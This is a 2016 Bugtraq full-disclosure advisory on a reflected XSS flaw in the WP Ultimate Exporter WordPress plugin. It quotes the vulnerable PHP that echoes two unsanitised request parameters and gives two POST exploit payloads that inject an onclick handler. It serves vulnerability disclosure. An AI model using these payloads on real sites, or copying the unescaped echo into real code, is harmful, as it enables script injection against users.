bugtraq - WP Ultimate Exporter XSS Vulnerability

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Message-ID: <56CDB91E.7090808@gmail.com>
Date: Wed, 24 Feb 2016 19:37:26 +0530
From: Rahul Pratap Singh <techno.rps@...il.com>
To: bugtraq@...urityfocus.com
Subject: WP Ultimate Exporter XSS Vulnerability

## FULL DISCLOSURE

 

#Product : WP Ultimate Exporter
#Exploit Author : Rahul Pratap Singh
#Version : 1.0
#Home page Link : https://wordpress.org/plugins/wp-ultimate-exporter/
#Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/>
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 24/Feb/2016

XSS Vulnerability:

----------------------------------------
Description:
----------------------------------------
"export_name" and "export_post_type_name" parameters are not sanitized
that leads to Reflected XSS.

----------------------------------------
Vulnerable Code:
----------------------------------------
File Name: /wp-ultimate-exporter/includes/WUExporterUI.php

Found at line:88
$export_post_type = isset($_REQUEST['export_name']) ?
$_REQUEST['export_name'] : '' ;

Found at line:89
$custom_post = isset($_REQUEST['export_post_type_name']) ?
$_REQUEST['export_post_type_name'] : '' ;?>
 
Found at line:91

<input type ="hidden" value = '<?php echo $export_post_type?>'
name='export_type_name'>

Found at line:92

<input type ="hidden" value = '<?php echo $custom_post?>'
name='export_custompost_type'>

----------------------------------------
Exploit:
----------------------------------------
POST /wp-admin/admin.php?page=wp_ultimate_exporter&step=exportposttype

export_name="/><input type=text onclick=alert(/XSS/)><!--"

POST /wp-admin/admin.php?page=wp_ultimate_exporter&step=exportposttype

export_post_type_name="/><input type=text onclick=alert(/XSS/)><!--"

----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/02/wp-ultimate-exporter.png?w=1700
https://0x62626262.files.wordpress.com/2016/02/wp-ultimate-exporter1.png?w=1700

Vulnerability Disclosure Timeline:
→ January  30, 2016   – Bug discovered, initial report to WordPress
→ February 1,  2016   – WordPress response, plugin taken down
→ February 24, 2016  – Plugin up with same version

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

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